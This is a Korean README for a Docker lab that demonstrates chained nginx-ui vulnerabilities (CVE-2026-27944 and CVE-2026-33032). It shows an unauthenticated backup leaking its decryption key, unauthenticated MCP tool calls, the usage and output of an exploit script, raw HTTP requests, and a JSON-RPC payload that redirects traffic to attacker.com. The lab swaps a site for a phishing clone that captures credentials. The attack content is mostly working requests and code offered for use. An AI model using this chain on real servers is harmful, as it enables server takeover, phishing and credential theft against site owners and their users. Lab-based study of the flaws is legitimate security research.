
Docker Compose 설정으로 nginx-ui 인증 누락 취약점을 시연합니다.
면책 조항: 이 저장소는 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 여기에 설명된 모든 기술은 소유하거나 명시적인 서면 허가를 받은 시스템에만 사용해야 합니다. 저자는 오용에 대해 책임을 지지 않습니다. 허가 없이 어떤 시스템에도 실행하지 마십시오.
nginx-ui v2.3.1을 대상으로 하는 두 개의 CVE 체인을 시연하는 독립형 Docker Compose 실습 환경으로, 사전 지식 없이 — 사용자 이름, 비밀번호, 토큰 없이 — 완전한 nginx 장악을 달성합니다.
GET /api/backup은 인증이 필요하지 않습니다. 이 엔드포인트는 nginx-ui 설치의 전체 암호화 백업( app.ini 포함)을 반환하며, AES-256-CBC 복호화 키와 IV를 평문으로 응답 헤더에 포함하여 전송합니다:
X-Backup-Security: <base64_key>:<base64_iv>
소스 코드(api/backup/router.go)에서:
r.GET("/backup", CreateBackup) // ❌ 미들웨어 없음
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)
백업을 복호화하면 app.ini가 생성되며, 여기에는 2단계에 필요한 [node] Secret이 포함되어 있습니다.
| CVE | CVE-2026-27944 (GHSA-g9w5-qffc-6762) |
| CVSS | 9.8 치명적 |
| 영향 범위 | nginx-ui < 2.3.2 |
| 수정 버전 | nginx-ui 2.3.3 |
nginx-ui v2.3.x는 12개의 nginx 관리 도구를 노출하는 Model Context Protocol (MCP) 인터페이스를 추가했습니다. 버그는 mcp/router.go에서 단일 미들웨어 호출이 누락된 것입니다:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // ❌ AuthRequired() 누락
노드 시크릿으로 얻은 sessionId를 사용하면, 공격자는 사용자 자격 증명 없이 /mcp_message에 POST하여 nginx_config_modify 및 reload_nginx를 포함한 모든 권한 있는 도구를 호출할 수 있습니다.
| CVE | CVE-2026-33032 |
| 별칭 | MCPwn (Pluto Security) |
| CVSS | 9.8 치명적 |
| 영향 범위 | nginx-ui ≤ 2.3.3 |
| 수정 버전 | nginx-ui 2.3.4 |
┌──────────────────────────────────────────────────────────┐
│ 브라우저 │
│ http://localhost:8080 ──► nginx_ui (:80) │
│ │ │
│ 공격자 ▼ │
│ http://localhost:9000 ──► nginx_ui (:9000) 취약 │
│ (자격 증명 없음) uozi/nginx-ui:v2.3.1 │
│ │
│ ┌─────────────────────────┐ │
│ │ webapp (초록색) │ 정상 │
│ │ proxy_pass 기본값 │ 로그인 폼 │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ malicious_site (빨간색) │ 피싱 클론 │
│ │ 공격 후 proxy_pass │ 자격 증명 수집 │
│ └─────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
nginx-ui는 자체 nginx 인스턴스를 번들로 포함합니다. 익스플로잇이 MCP를 통해 reload_nginx를 호출하면, :8080에서 트래픽을 서빙하는 동일한 nginx를 리로드합니다 — 호스트 접근이 필요 없습니다.
요구 사항: Docker + Docker Compose + Python 3.10+
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
| URL | |
|---|---|
http://localhost:8080 | 피해자 사이트 — 초록색 (정상) |
http://localhost:9000 | nginx-ui 관리자 패널 |
pip install -r exploit/requirements.txt
python3 exploit/exploit.py --url http://localhost:9000
이 스크립트는 사전 자격 증명 없이 두 CVE를 연결합니다:
==============================================================
CVE-2026-27944 + CVE-2026-33032 — nginx-ui 무인증 RCE
대상 : http://localhost:9000
==============================================================
[*] CVE-2026-27944 — 백업 다운로드 (인증 없음)
[+] 헤더에서 AES 키+IV: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] 노드 시크릿 추출: 605f228e-2480-49ec-8dd2-045d8d8a073f
[*] CVE-2026-33032 — 인증 없는 MCP 세션 열기 (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a
[*] 정찰 — 현재 설정 읽기
[+] 현재: proxy_pass http://webapp:80;
[*] POST /mcp_message로 default.conf 덮어쓰기 (인증 없음)
[+] 새 값: proxy_pass http://malicious_site:80;
[*] POST /mcp_message로 nginx 리로드 (인증 없음)
[+] nginx 리로드 완료 — 설정이 적용됨
[!] 공격 완료.
http://localhost:8080/ 의 피해자에게 이제 피싱 페이지가 제공됩니다.
캡처된 자격 증명 보기: http://localhost:8080/?debug=1
익스플로잇 실행 후, http://localhost:8080은 초록색 정상 페이지에서 빨간색 피싱 클론으로 전환됩니다 — 동일한 URL에서, 피해자에게 어떤 표시도 없이.
http://localhost:8080/?debug=1을 열면 공격자 패널이 표시되고 실시간으로 캡처되는 자격 증명을 볼 수 있습니다.
python3 exploit/exploit.py --url http://localhost:9000 --reset
동일한 CVE 체인을 사용하여 원래 설정을 복원하고 nginx를 리로드합니다.
GET /api/backup HTTP/1.1
Host: target:9000
응답:
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip
제공된 키/IV로 zip을 복호화 → app.ini 추출 → [node] Secret 읽기.
요청 1 — SSE 세션 열기 (노드 시크릿, 사용자 인증 없음):
GET /mcp?node_secret=<uuid>
SSE 스트림이 sessionId로 응답합니다.
요청 2+ — 도구 호출 (인증 전혀 없음):
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json
{
"jsonrpc": "2.0", "id": 1, "method": "tools/call",
"params": {
"name": "nginx_config_modify",
"arguments": {
"relative_path": "default.conf",
"content": "server { location / { proxy_pass http://attacker.com; } }",
"sync_overwrite": false
}
}
}
Authorization 헤더 없음. 쿠키 없음. /mcp_message 라우트에 AuthRequired()가 단순히 존재하지 않습니다.
| 도구 | 영향 |
|---|---|
nginx_config_modify | 모든 설정 파일 덮어쓰기 |
nginx_config_add | 새 설정 파일 생성 |
nginx_config_get | 모든 설정 파일 읽기 |
nginx_config_list | 모든 설정 나열 |
nginx_config_enable/disable | 사이트 설정 토글 |
nginx_config_rename | 설정 파일 이동/이름 변경 |
nginx_config_mkdir | 디렉터리 생성 |
nginx_config_history | 변경 이력 보기 |
nginx_config_base_path | 설정 루트 경로 노출 |
nginx_status | nginx 상태 확인 |
reload_nginx | 설정 변경 사항 실시간 적용 |
restart_nginx | nginx 전체 재시작 |
app.ini에서 비어 있지 않은 [node] IPWhiteList를 설정하여 MCP 접근을 특정 IP로 제한/etc/nginx/conf.d/ 모니터링